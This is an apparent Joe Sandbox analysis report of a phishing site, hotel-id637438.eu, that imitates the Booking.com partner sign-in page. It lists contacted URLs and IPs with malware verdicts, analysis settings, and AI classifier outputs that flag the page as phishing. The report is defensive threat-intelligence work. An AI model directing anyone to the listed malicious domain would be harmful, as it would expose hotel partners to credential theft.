https://cf.bstatic.com/psb/accountsportal/assets/runtime~index_08a2413ae9a3221f32e6.js	false	Avira URL Cloud: safe	unknown
https://hotel-id637438.eu/static/589_c56f1bb12a33c98c0094.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	true	Avira URL Cloud: malware	unknown
https://asanalytics.booking.com/3QUMmaPSc1zJE8fm?1d5dbae49208cfc1=_lS2UB-jeCK3GwSghVeiNjmEsztwIdW7peYa2vZDcG9_rxjNXKGUggbLPnN7TQEc392g0yl5LlzycWWK62WEuv9s081EatjUJGdq6NB4-VZmKYAVzro0qFZezZFS_jIkEItyaozhwhYgHjS8-3uy08mWEj-5l14Eqq92qrY	false	Avira URL Cloud: safe	unknown
https://try.abtasty.com/71cd12cdf77ebcb750cff91a9bba6f04/1260644.1562364.json?89b5bf9a6316eb30dcfc5b1f740c76c8	false	Avira URL Cloud: safe	unknown
https://bstatic.com/libs/bui/9.5.6/bui.min.js	false	Avira URL Cloud: safe	unknown
https://hotel-id637438.eu/static/842_b7cfe71a24f37e243c53.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	true	Avira URL Cloud: malware	unknown
https://doregtzfefbr33clv6xcto5dvvpuig6dhu62so3k9d8e366b7ec51ed9sac.d.aa.online-metrix.net/eT7Nb5nB4FSZBhqr?4e98badb14cfb3a3=noEGKM0RbPhp2BOR7GtSv8EDA766sxCB-oQDofHIYL0nVgCWZ_FSuWnvPXgK68IoB2KaUXlhIAvOPkKfPj2n8omxmTJildRQNxvOEqYLuo-qEMEJOU-vBd-iqiE9oNQd1VJ_tlSFfzMuQ2jqJArDBp6s3JDOKtZo_yFm	false	Avira URL Cloud: safe	unknown
https://try.abtasty.com/71cd12cdf77ebcb750cff91a9bba6f04/manifest.json	false	Avira URL Cloud: safe	unknown
https://h.online-metrix.net/fwbs2R_7rJbrBR3e?5ef22e07f10f36fd=-BE8AN-UiICUya05z9TTPbQ6wofbCzFF8v25yhCAPMTZS-W194kKONQoe1HaJzqfM3key2AjyrI2GAn-LmMjuufQv7Ww5Pa8GV24fz0-FSF7aJOqG0BpXc4odExt19c7leJoaMP7ZJUMcCNimDW-1BmyYAlK2ZmZCCFszGTJseMQUNeEsG0Xt7rEp21WIUnZoP_LeiOuNnf2vUFIlf8&jf=3c3136267169645f7a6e643f766c725d4f494a4144454d5265376a555a756b6d26736b6c57646174673d31373a3034353a3e3132267161645f7c7978673f77676a3867616473632e7b69645f6965793d3b30353b31383131303438373269383e363a63673b6632303031323e383832613a3634386b653366323b303330353833343a3038323665363f6336643064643e6d616534603266383f373333616e663437373133626d616e3a3564646d3231663036316e6e653363673932316b363267616c663063366b64363a3639333b39306a3732333534613c3d3132643432373569383631363e376431666a37333c3630643b6531383260666165616a3f333230373364346b3626716b6c5f7169653533303c3538303030316a373734626437396c3939373664666369343166313e626132363e39366a6669376666613d323234663235313e3362623b6164326a63623a603b323539613030323a3138326063603830303530353b3a3f64303134656361393838616731353a63343935333f636b316161366c3236373964603e393334663b3764306b643434323f373731247b69667a3d39	false	Avira URL Cloud: safe	unknown
https://bookingdotcomb2b.germany-2.evergage.com/pr?.top=1576&item=%7B%22type%22%3A%22Category%22%2C%22_id%22%3A%22500%22%7D&action=View%20Catalog%20Object&.tt=1560&.ttdns=187&.dt=7100&.bv=16&_ak=bookingdotcomb2b&_ds=booking_prod&.scv=138&channel=Web&_r=142748&.anonId=bbb92faf3d598967&_anon=true	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/core/modules/statistics/statistics.php	false	Avira URL Cloud: safe	unknown
https://q.bstatic.com/libs/asec/btmgmt/px.v7.5.3.min.js	false	Avira URL Cloud: safe	unknown
https://asanalytics.booking.com/iXLCLsjXrpF-p7AH?9e86be319398bca5=aw6BUyrIRCQWQ3PbBiL7tCm4MQE0qv5k2ZXfqb2gBsXKCSIU8QjvUjVx5Xu-V3f-vQ7pvKjbs5DYHXQlallqgIlAlNINuzK99mhtrDw4VLO1svQiUvuXCLW4XVI3cnmfzeSllo4RM3eqK5NPwtklUHkUnGLe0wodpyBmmucWsrc43R6dz4FU9tMdqmPCjKUzWcRcZUpav1_U2gx7SH6c	false	Avira URL Cloud: safe	unknown
https://try.abtasty.com/shared/me.7d4a349527f92fc578d9.js	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/themes/custom/booking/images/favicons/favicon.svg	false	Avira URL Cloud: safe	unknown
https://saa.booking.com/ec/c.html?name=ecid	false	Avira URL Cloud: safe	unknown
https://chat.kindlycdn.com/kindly-chat.js	false	Avira URL Cloud: safe	unknown
https://cdn.spinnaker-js.com/rc/19174/scripts/s.js	false	Avira URL Cloud: safe	unknown
https://ariane.abtasty.com/	false	Avira URL Cloud: safe	unknown
https://asanalytics.booking.com/b3Ri08IrfvWKzb-u?7a4f678c1f858cc6=36PkBdPxdlwF2iWDI2MqAIF9W7kr6CUtqoCCgB9TNASQJMd2yRj8bKGRR4e_AUNgaF8aDeI0n4MmjsOArDdqeyYApyF0kZ2DpwdPZpM1YVnjFRpo9Qx9pbCvut3DcnLt8rRJLXu0yHEJYg50QU4Vqg&fr	false	Avira URL Cloud: safe	unknown
https://asanalytics.booking.com/P1Ki-X70GyE2fskC?dd0baa4d17fc4ac7=p7E_NyxkM9KoC8mXkmH_xsU8D99bHaPf8of9aF24fiJwXF0V7KTg5Z7ynmRs7L-rZ3ciGxhmI2aKM5WtqTm4961eyvrn1hjz6xxeUrPxbgxRH2hZ5C5x61g3vHWM7SKktxXDDa-mczoA5y2SdSB-tKZ1nujl8wUh0isBSXGmWE6w	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/sites/default/files/styles/teaser_small_card_topics/public/2024-06/hospitality%404x.png.webp?itok=CnzaJ3-K	false	Avira URL Cloud: safe	unknown
https://cdn.cookielaw.org/scripttemplates/202404.1.0/otBannerSdk.js	false	Avira URL Cloud: safe	unknown
https://asanalytics.booking.com/ZqQsZHm25EHoHEB-?152e9d39bcab1cb5=zgTnMTUnNK1RObyF3_y9F3vx1ULCj9qMUrh4LwCH4DXyp97H4kXRMhXMKpVIiW1TGdcoc4ozWOo7IcLMroo7zmuXFNAjCzfV7Z2K9WrPAUIUSzFGDjlgifztwQ-FjASl5z0fay-q2sDW6movPwebBwiJ7bY&jac=1&je=3c3126267565693d302e34342c3932312e313b2677616d35756762707c615d6b6e74677a66616c5f6f646e73	false	Avira URL Cloud: safe	unknown
https://cdn.cookielaw.org/scripttemplates/otSDKStub.js	false	URL Reputation: safe	unknown
https://asanalytics.booking.com/vpNm4h0Cgnyh9WKp?551f66e8c21b2d31=47iJ8I6TpbOmSq6bpDQV_WpkC0Q10ocKflyPFAd-X1F0tqodWImpXHtnsTe_EtNUMrz9TP9NUeU4HnSWg4jDTaL5BS7cIJYx2d3HZ0E3v9BQWprNeLDxXAg0yZfL7iXq4B-UgYUQFwKXSR2ytyh7S43ysuXhQA-d4M62YcuFiEa9IdbxgCtCj0TD6rqotq6JpIQnQORlQ7PCeBDy1OEJexmz7zk&sera_parametere=X0UNDQAHA1IAAgVQBlZaXVsHUgxRBQJaAFRQAwIBVwhYA1ENU1pVUlBWUEBAQ15RV0VFTBZGUiZEACFDBHRGCglfQ10JBgwHD0MQQwB0Rg97BRUPIUZTUglYEBJAFVB8HAJyHVInRwYIClZeAQBQCl0HVA9XBwJRBVZTU1ICVggAAlMBXQFRUgVRAAACCVpeCwUWVgoNAgdcDlZWC1UAWVtUB1sDUFEBWREJFQ4AGwsLA1ZcVlBVUVFUVFQBB1MBXQQEDVdTWVRWBgdTBQVUAFoMAV0HUAREAF5eVwEDVQgfXFkFSFJHEggKWl8KCVseUV4NHgdeIgoTWA4DFVIVBQgEBx4HDBJfNl4NAlxHEB5aVw1MARk%2BAQBbDwRSUwgeXEENClVX&count=0&max=0	false	Avira URL Cloud: safe	unknown
https://asanalytics.booking.com/3TWqV7joG7OAWvac?08e86886c47c193c=4Zq5jiNrXr96ezmLApPfZJLJprhFwoKR_VeApSYZ8Df89jcnsh-rKt9TDFKYP48_iwiFUFdnpTInR-WO3oDaru8Zq76vWILsPWSg8FgzpiZviKjrXyzkyLaqEQwfz93szvKB8s5AK29RT0QrDtLBWkLUOg0&jac=1&je=3433242e6a666e3539333a24686e683f353331373066623035613d3b363b3030323363363a3b67383065386d6b326a33246266766c3d38383134303e38313b30	false	Avira URL Cloud: safe	unknown
https://h.online-metrix.net/_V5uGnUcz_yKSEQS?f73d56cd6d76ca0a=nqxTNuGLHIdaAisgqrPAILj-r4YQ5WFqxolXivNF8XRmYZrcKRCJMKW6K8767ipRgprw62BKy8rdTTiSnlK3qe884UTCPwdT4qgdEyRQCqJ3b4CxECpqrITDJnONE-YRZ4KgGA8e1iSa6dYOYR1PbJjeDeOrq4Ar_o0cThYEm8ESgnel6-5KtKggjeT8XV6mjmHMa475vB8tp2lnDBPR	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.booking.com/general.	chromecache_450.2.dr	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/en-us/community	chromecache_318.2.dr	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/sites/default/files/styles/medium_400_width/public/2024-06/ukb5394_asset	chromecache_414.2.dr	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/cs	chromecache_414.2.dr	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/en-us/taxonomy/term/3693	chromecache_414.2.dr	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/th	chromecache_414.2.dr	false	Avira URL Cloud: safe	unknown
https://ampcid.google.com/v1/publisher:getClientId	chromecache_437.2.dr, chromecache_328.2.dr	false	URL Reputation: safe	unknown
https://partner.booking.com/tr	chromecache_414.2.dr	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/de	chromecache_414.2.dr	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/sites/default/files/styles/teaser_image_card/public/2023-01/Twowomeninlo	chromecache_414.2.dr	false	Avira URL Cloud: safe	unknown
http://www.boldmonday.comhttp://www.ibm.comThis	chromecache_340.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/kenwheeler/slick/blob/master/LICENSE	chromecache_292.2.dr, chromecache_460.2.dr	false	Avira URL Cloud: safe	unknown
http://www.quirksmode.org/js/cookies.html	chromecache_326.2.dr, chromecache_462.2.dr	false	Avira URL Cloud: safe	unknown
https://stats.g.doubleclick.net/j/collect	chromecache_328.2.dr	false	URL Reputation: safe	unknown
https://partner.booking.com/sr	chromecache_414.2.dr	false	Avira URL Cloud: safe	unknown
https://rtp-static.marketo.com	chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	false	Avira URL Cloud: safe	unknown
https://collector-a.perimeterx.net/api/v2/collector/clientError?r=	chromecache_402.2.dr, chromecache_321.2.dr	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/sv	chromecache_414.2.dr	false	Avira URL Cloud: safe	unknown
https://admin.booking.com/hotel/hoteladmin/extranet_ng/manage/partner_help_proxy.html?article=help_h	chromecache_450.2.dr	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/ar	chromecache_414.2.dr	false	Avira URL Cloud: safe	unknown
https://siteintercept.qualtrics.com	chromecache_435.2.dr, chromecache_330.2.dr	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/ro	chromecache_414.2.dr	false	Avira URL Cloud: safe	unknown
https://schema.org	chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	false	URL Reputation: safe	unknown
https://partner.booking.com/ru	chromecache_414.2.dr	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/bg	chromecache_414.2.dr	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/en-us/help/support-contact/contact/where-you-can-reach-us	chromecache_433.2.dr	false	Avira URL Cloud: safe	unknown
https://docs.aws.amazon.com/waf/latest/developerguide/waf-javascript-sdk.html	chromecache_310.2.dr	false	Avira URL Cloud: safe	unknown
https://www.booking.com/content/ccpa.	chromecache_450.2.dr	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/sites/default/files/styles/teaser_image_card/public/2019-05/forum_1.jpg?	chromecache_318.2.dr	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/jquery/jquery-ui/1.13.2/LICENSE.txt	chromecache_369.2.dr, chromecache_300.2.dr, chromecache_285.2.dr, chromecache_378.2.dr	false	Avira URL Cloud: safe	unknown
https://www.drupal.org/licensing/faq	chromecache_381.2.dr, chromecache_272.2.dr, chromecache_393.2.dr, chromecache_369.2.dr, chromecache_300.2.dr, chromecache_441.2.dr, chromecache_442.2.dr, chromecache_429.2.dr, chromecache_285.2.dr, chromecache_460.2.dr, chromecache_325.2.dr, chromecache_378.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
82.113.193.63	stun.twt.it	Italy	30848	IT-TWT-ASIT	false
18.238.243.19	unknown	United States	16509	AMAZON-02US	false
47.246.50.207	all.cdn-gw-dv.vip.w.cdngslb.com	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
18.65.39.105	d8c14d4960ca.edge.sdk.awswaf.com	United States	3	MIT-GATEWAYSUS	false
104.18.32.137	geolocation.onetrust.com	United States	13335	CLOUDFLARENETUS	false
104.21.44.120	unknown	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
18.245.60.76	unknown	United States	16509	AMAZON-02US	false
81.187.30.115	natisevil.aasip.co.uk	United Kingdom	20712	AS20712AndrewsArnoldLtdGB	false
77.72.169.212	stun.actionvoip.com	Netherlands	42416	COMNET-ASNL	false
18.172.112.27	unknown	United States	3	MIT-GATEWAYSUS	false
85.17.88.164	stun.acrobits.cz	Netherlands	60781	LEASEWEB-NL-AMS-01NetherlandsNL	false
18.164.96.49	de2trjlt8e8rj.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
52.85.61.64	d1of1hbywxxm65.cloudfront.net	United States	16509	AMAZON-02US	false
217.74.179.29	stun.bluesip.net	Germany	29488	CCNDE	false
77.72.169.210	stun.telbo.com	Netherlands	42416	COMNET-ASNL	false
77.72.169.211	stun.12voip.com	Netherlands	42416	COMNET-ASNL	false
172.217.18.4	www.google.com	United States	15169	GOOGLEUS	false
154.73.34.8	unknown	South Africa	327767	ULTIMATE-LINUXZA	false
18.172.112.62	try-cloudfront.abtasty.com	United States	3	MIT-GATEWAYSUS	false
213.140.209.236	stun.cablenet-as.net	Cyprus	35432	CABLENET-ASCY	false
154.73.34.4	stun.uls.co.za	South Africa	327767	ULTIMATE-LINUXZA	false
192.225.158.254	h-doregtzf.online-metrix.net	United States	30286	THMUS	false
172.64.155.119	unknown	United States	13335	CLOUDFLARENETUS	false
162.13.202.201	lonrtp1.marketo.com	United Kingdom	15395	RACKSPACE-LONGB	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
52.209.78.88	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com	United States	16509	AMAZON-02US	false
18.238.243.8	unknown	United States	16509	AMAZON-02US	false
18.185.181.69	bookingdotcomb2b.germany-2.evergage.com	United States	16509	AMAZON-02US	false
18.164.96.48	unknown	United States	3	MIT-GATEWAYSUS	false
91.235.132.130	h.online-metrix.net	Netherlands	30286	THMUS	false
13.248.195.177	unknown	United States	16509	AMAZON-02US	false
151.101.64.114	cdn.evgnet.com	United States	54113	FASTLYUS	false
104.26.6.229	chat.kindlycdn.com	United States	13335	CLOUDFLARENETUS	false
18.66.196.31	d2i5gg36g14bzn.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
35.190.10.96	collector-pxikkul2rm.px-cloud.net	United States	15169	GOOGLEUS	false
104.19.177.52	cdn.cookielaw.org	United States	13335	CLOUDFLARENETUS	false
142.250.186.174	www.googleoptimize.com	United States	15169	GOOGLEUS	false
212.227.67.34	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
91.235.133.10	unknown	Netherlands	30286	THMUS	false
212.227.67.33	stun.1und1.de	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
13.224.222.22	unknown	United States	16509	AMAZON-02US	false
18.245.31.53	unknown	United States	16509	AMAZON-02US	false
34.255.142.78	pirateprod.9k9qh2pzbv.eu-west-1.elasticbeanstalk.com	United States	16509	AMAZON-02US	false
64.131.63.217	stun.usfamily.net	United States	15250	USFAMILY-ASNUS	false
18.238.243.42	unknown	United States	16509	AMAZON-02US	false
91.235.132.129	aa.online-metrix.net	Netherlands	30286	THMUS	false
172.67.199.147	hotel-id637438.eu	United States	13335	CLOUDFLARENETUS	true
18.245.31.18	unknown	United States	16509	AMAZON-02US	false
13.226.34.77	du1b3vb35hc0o.cloudfront.net	United States	16509	AMAZON-02US	false
18.238.243.80	d2df291ti5v5sq.cloudfront.net	United States	16509	AMAZON-02US	false
18.164.96.96	unknown	United States	3	MIT-GATEWAYSUS	false
74.125.250.129	stun3.l.google.com	United States	15169	GOOGLEUS	false
18.244.18.55	unknown	United States	16509	AMAZON-02US	false
18.66.196.62	unknown	United States	3	MIT-GATEWAYSUS	false
104.19.178.52	unknown	United States	13335	CLOUDFLARENETUS	false
94.23.17.185	stun.antisip.com	France	16276	OVHFR	false
34.120.99.165	sage.kindly.ai	United States	15169	GOOGLEUS	false
18.66.196.21	unknown	United States	3	MIT-GATEWAYSUS	false
18.244.18.18	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com	United States	16509	AMAZON-02US	false
192.225.158.3	doregtzfn74qusm57gonvfgshkv6p2r76un7bsic9508ecaba7cf30c8sac.d.aa.online-metrix.net	United States	30286	THMUS	false
18.164.96.110	partner.booking.com	United States	3	MIT-GATEWAYSUS	false
18.66.171.29	bstatic.com	United States	3	MIT-GATEWAYSUS	false
34.36.178.232	ariane.abtasty.com	United States	2686	ATGS-MMD-ASUS	false
85.93.219.114	stun.tel.lu	Luxembourg	9008	ASN-VOVisualOnlineSALuxembourgLU	false
192.225.158.1	h64.online-metrix.net	United States	30286	THMUS	false
13.226.34.41	unknown	United States	16509	AMAZON-02US	false
18.245.31.129	unknown	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.4
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1469574
Start date and time:	2024-07-09 00:42:31 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://hotel-id637438.eu/sign-in
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.phis.win@34/349@332/71
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://account.booking.com/sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg Browse: https://partner.booking.com/node/2170?utm_source=account&utm_medium=support_link Browse: https://account.booking.com/account-recovery/options?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg Browse: https://partner.booking.com/en-us?utm_source=extranet_login_page Browse: https://partner.booking.com/en-us/node/27/?utm_content=27&utm_source=extranet_login_page Browse: https://account.booking.com/register?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg

Warnings

Exclude process from analysis (whitelisted): audiodg.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.35, 142.250.185.206, 74.125.133.84, 34.104.35.123, 172.217.18.106, 172.217.16.202, 172.217.18.10, 172.217.23.106, 172.217.16.138, 216.58.206.42, 216.58.212.138, 142.250.186.138, 142.250.186.106, 142.250.186.42, 142.250.184.202, 142.250.186.74, 142.250.184.234, 216.58.206.74, 142.250.181.234, 142.250.185.74, 40.127.169.103, 192.229.221.95, 20.3.187.198, 173.222.108.210, 173.222.108.226, 142.250.74.202, 142.250.185.234, 142.250.185.138, 142.250.185.106, 142.250.185.170, 216.58.212.170, 142.250.185.202, 172.217.23.110, 104.102.38.132, 216.58.206.78, 104.122.39.154, 142.250.184.200, 104.17.208.240, 104.17.209.240, 216.58.206.67
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, a767.dspw65.akamai.net, e10776.b.akamaiedge.net, wildcard.marketo.net.edgekey.net, clients2.google.com, ocsp.digicert.com, www.googletagmanager.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, e8999.b.akamaiedge.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, www.google-analytics.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, wildcard.marketo.com.edgekey.net, prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net, clients.l.google.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://hotel-id637438.eu/sign-in

Simulations

Behavior and APIs

⊘No simulations

LLM Input / Output

Input	Output
URL: https://hotel-id637438.eu/sign-in Model: Perplexity: mixtral-8x7b-instruct	{"loginform": true,"urgency": false,"captcha": false,"reasons": ["The webpage contains a login form which requests sensitive information such as a username.","There is no text creating a sense of urgency in the provided webpage text.","There is no CAPTCHA or anti-robot detection mechanism present in the webpage."]}
Title: Booking.com OCR: Booking.com Sign in to manage your property Username Also known as "Login name" and "Login 'D" Next Having trouble signing in? Questions about your property or the Extranet? Check out Partner Help or ask another partner in the Partner Community. Create your partner account By signing in or creating an account, you agree with our Terms & Conditions and Privacy Statement All rights reserved. Copyright (2006-2024) Booking.comw
URL: https://hotel-id637438.eu/sign-in Model: Perplexity: mixtral-8x7b-instruct	{"loginform": true,"urgency": false,"captcha": false,"reasons": ["The webpage contains a 'Sign in' button which is a part of the login form.","The webpage requests sensitive information such as 'Username' which is a part of the login form.","The webpage does not create a sense of urgency in the text.","The webpage does not contain a CAPTCHA or any anti-robot detection mechanism."]}
Title: Booking.com OCR: O Booking.com Sign in to manage your property Username Also known as "Login name" and "Login 'D" Next Having trouble signing in? Questions about your property or the Extranet? Check out Partner Help or ask another partner in the Partner Community. Create your partner account By signing in or creating an account, you agree with our Terms & Conditions and Privacy Statement All rights reserved. Copyright (2006-2024) Booking.comw
URL: https://hotel-id637438.eu Model: gpt-4o	```json{ "phishing_score": 8, "brands": "Booking.com", "phishing": true, "suspicious_domain": true, "has_prominent_loginform": true, "has_captcha": false, "setechniques": true, "has_suspicious_link": false, "legitmate_domain": "booking.com", "reasons": "The URL 'https://hotel-id637438.eu' does not match the legitimate domain 'booking.com' associated with the brand Booking.com. The use of a different domain name is a common social usering technique used in phishing attacks to mislead users. The page prominently features a login form, which is another common characteristic of phishing sites. There is no CAPTCHA present, which is often used by legitimate sites to prevent automated attacks. The overall design of the page closely resembles the legitimate Booking.com site, which could further mislead users into believing it is authentic. Given these factors, the site is highly likely to be a phishing site."}

URL: https://hotel-id637438.eu Model: gpt-4o	```json{ "phishing_score": 8, "brands": "Booking.com", "phishing": true, "suspicious_domain": true, "has_prominent_loginform": true, "has_captcha": false, "setechniques": true, "has_suspicious_link": false, "legitmate_domain": "booking.com", "reasons": "The URL 'https://hotel-id637438.eu' is suspicious because it does not match the legitimate domain 'booking.com' associated with the brand Booking.com. The webpage has a prominent login form, which is a common feature in phishing sites to capture user credentials. There is no CAPTCHA present, which is often used in legitimate sites to prevent automated attacks. The use of a subdomain and a different top-level domain (TLD) is a common social usering technique to mislead users into thinking the site is legitimate. Given these factors, the site is highly likely to be a phishing site."}

URL: https://account.booking.com/sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg Model: Perplexity: mixtral-8x7b-instruct	{"loginform": true,"urgency": false,"captcha": false,"reasons": ["The webpage contains a 'Sign in' button which is a part of the login form.","The webpage requests for a 'Username' which is synonymous to 'Login name' or 'Login ID'.","The webpage also has a 'Create your partner account' option which is another part of the login form."]}
Title: Booking.com OCR: O Booking.com Sign in to manage your property Username Iso known as "Login name" and "Login ID" Next Having trouble signing in? Questions about your property or the Extranet? Check out Partner Help or ask another partner in the Partner Community. Create your partner account By signing in or creating an account, you agree with our Terms & Conditions and Privacy Statement Do rot sell my personal information California residents only All rights reserved. Copyright (2006-2024) Booking.comw
URL: https://account.booking.com Model: gpt-4o	```json{ "phishing_score": 1, "brands": "Booking.com", "phishing": false, "suspicious_domain": false, "has_prominent_loginform": true, "has_captcha": false, "setechniques": false, "has_suspicious_link": false, "legitmate_domain": "booking.com", "reasons": "The URL 'https://account.booking.com' appears to be legitimate as it uses the official domain 'booking.com'. The webpage design and branding match the known Booking.com style. There are no obvious social usering techniques, suspicious links, or other red flags typically associated with phishing sites. The login form is prominent, but this is expected for a legitimate account management page. There is no captcha present, which is not unusual for such pages. Overall, there is no substantial evidence to suggest that this is a phishing site."}

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	123
Entropy (8bit):	5.595986790357272
Encrypted:	false
SSDEEP:	3:YPdmvHKVM8dq/ysUWJoNO4No5yNsO6c5s4S9rfzJhnbLn:YlmvHKVM8d3pWJgNo5yNsHIs4E7JdbLn
MD5:	C5A985366C52F82F380531A944539F29
SHA1:	42F3AE5B96AD89612F5B56170D84D737E74AF7D2
SHA-256:	B99BB724709B8E3AD2342C3DD4786E851CF7B655478B03879851EE0AAB8D5DD5
SHA-512:	6A0DF80BADC75D847EF1963EF76C73647779CF4B4254B31ECFEBE3A76071347085D63421DE96DDF692124F6E2C03B508300F319DBF9959F87A806A3D58BA138F
Malicious:	false
Reputation:	low
URL:	https://booking.ck123.io/raphael_cs
Preview:	{"j88":"ZmZqarltbdYpi038nx1dqfoDJWRCwcrcNNHxZ3lWF8XJgbcSE3lSCeA1EHD2jiVXJfTywG5x9kmb93XVZU9KXRIK6lwXNW5fnblJ1EE0YYq3-F94"}.

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	123
Entropy (8bit):	5.682897001218193
Encrypted:	false
SSDEEP:	3:YPdmlwTQyhwTPnnq3pWcWjCoToyqgMt+jcpi:YlmlqwTPOpWnjhkuAI
MD5:	7F77C478EEF64ACCA95E19E446998A8E
SHA1:	852774A83B3F89921A6DB66C2A6E663543B97AA7
SHA-256:	7D106F00AAF75F9686130FA2371882CE7B4AB8C4BD3A80541ADAB4DD1640F44E
SHA-512:	F34CDF5088C693186D6511DE3289AB52FDCE12FAEB965BEAFC36B57B7B26C247A60E8B190CA1DBE566E4BC7E9469530C3F06B0B7890A4D1DA711F3604B2A5D57
Malicious:	false
Reputation:	low
URL:	https://booking.ck123.io/raphael_cs
Preview:	{"j88":"ZmZqart6U4zGwUNfuT5Xk-y7jU9TLT6zgQiuyiBFN_wYWhmjFZ7cmKXgUMys95sp3XWGLDLkUtnnSbm6MWlIlxGcqQ4YfGUO-DjF7jAc8rNV52Sv"}.

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (38375)
Category:	downloaded
Size (bytes):	300803
Entropy (8bit):	5.032948078041341
Encrypted:	false
SSDEEP:	3072:DT/qjK/Lg+R4iXgcaadW+R4iXgcaadl+R4iXgcaad//BdqAizDjO:DTw+To+Tj+TpL
MD5:	61A77C81B379ECC5C86222CE96E043FE
SHA1:	01EFB07854AE1EBD6CCED4D895B9045B14A8F367
SHA-256:	CD0750FC8CE8F8C4E85CC45161A90D020EB16670EA92233422D2F243E431247F
